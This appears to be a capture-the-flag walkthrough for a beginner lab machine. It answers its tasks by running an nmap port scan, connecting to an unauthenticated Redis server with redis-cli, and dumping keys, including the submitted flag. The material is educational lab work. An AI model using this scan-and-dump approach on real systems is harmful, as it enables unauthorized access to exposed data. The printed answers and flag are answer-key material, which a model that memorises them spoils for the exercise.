Task 1
Which TCP port is open on the machine?
1
2
3
4
5
6
7
8
9
10
11
➜ nmap -sC -sV -p- -T4 10.129.161.156
Starting Nmap 7.92 ( https://nmap.org ) at 2022-05-18 13:08 EDT
Nmap scan report for 10.129.161.156 (10.129.161.156)
Host is up (0.24s latency).
Not shown: 65534 closed tcp ports (reset)
PORT STATE SERVICE VERSION
6379/tcp open redis Redis key-value store 5.0.7
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 1103.43 seconds
6379
Task 2
Which service is running on the port that is open on the machine?
Redis
Task 3
What type of database is Redis? Choose from the following options: (i) In-memory Database, (ii) Traditional Database
In-memory Database
Task 4
Which command-line utility is used to interact with the Redis server? Enter the program name you would enter into the terminal without any arguments.
Redis-cli
Task 5
Which flag is used with the Redis command-line utility to specify the hostname?
1
2
3
4
5
6
➜ redis-cli -h
redis-cli 6.0.16
Usage: redis-cli [OPTIONS] [cmd [arg [arg ...]]]
-h <hostname> Server hostname (default: 127.0.0.1).
-h
Task 6
Once connected to a Redis server, which command is used to obtain the information and statistics about the Redis server?
info
Task 7
What is the version of the Redis server being used on the target machine?
1
2
3
4
5
6
7
10.129.161.156:6379> info
# Server
redis_version:5.0.7
redis_git_sha1:00000000
redis_git_dirty:0
redis_build_id:66bd629f924ac924
redis_mode:standalone
5.0.7
Task 8
Which command is used to select the desired database in Redis?
select
Task 9
How many keys are present inside the database with index 0?
1
2
3
4
5
6
7
8
9
10
11
12
13
14
➜ startingpoint redis-cli -h 10.129.161.156
10.129.161.156:6379> keys *
1) "flag"
2) "numb"
3) "stor"
4) "temp"
10.129.161.156:6379> get flag
"03e1d2b376c37ab3f5319922053953eb"
10.129.161.156:6379> get numb
"bb2c8a7506ee45cc981eb88bb81dddab"
10.129.161.156:6379> get stor
"e80d635f95686148284526e1980740f8"
10.129.161.156:6379> get temp
"1c98492cd337252698d0c5f631dfb7ae"
4
Task 10
Which command is used to obtain all the keys in a database?
keys *
Submit Flag
Submit root flag
03e1d2b376c37ab3f5319922053953eb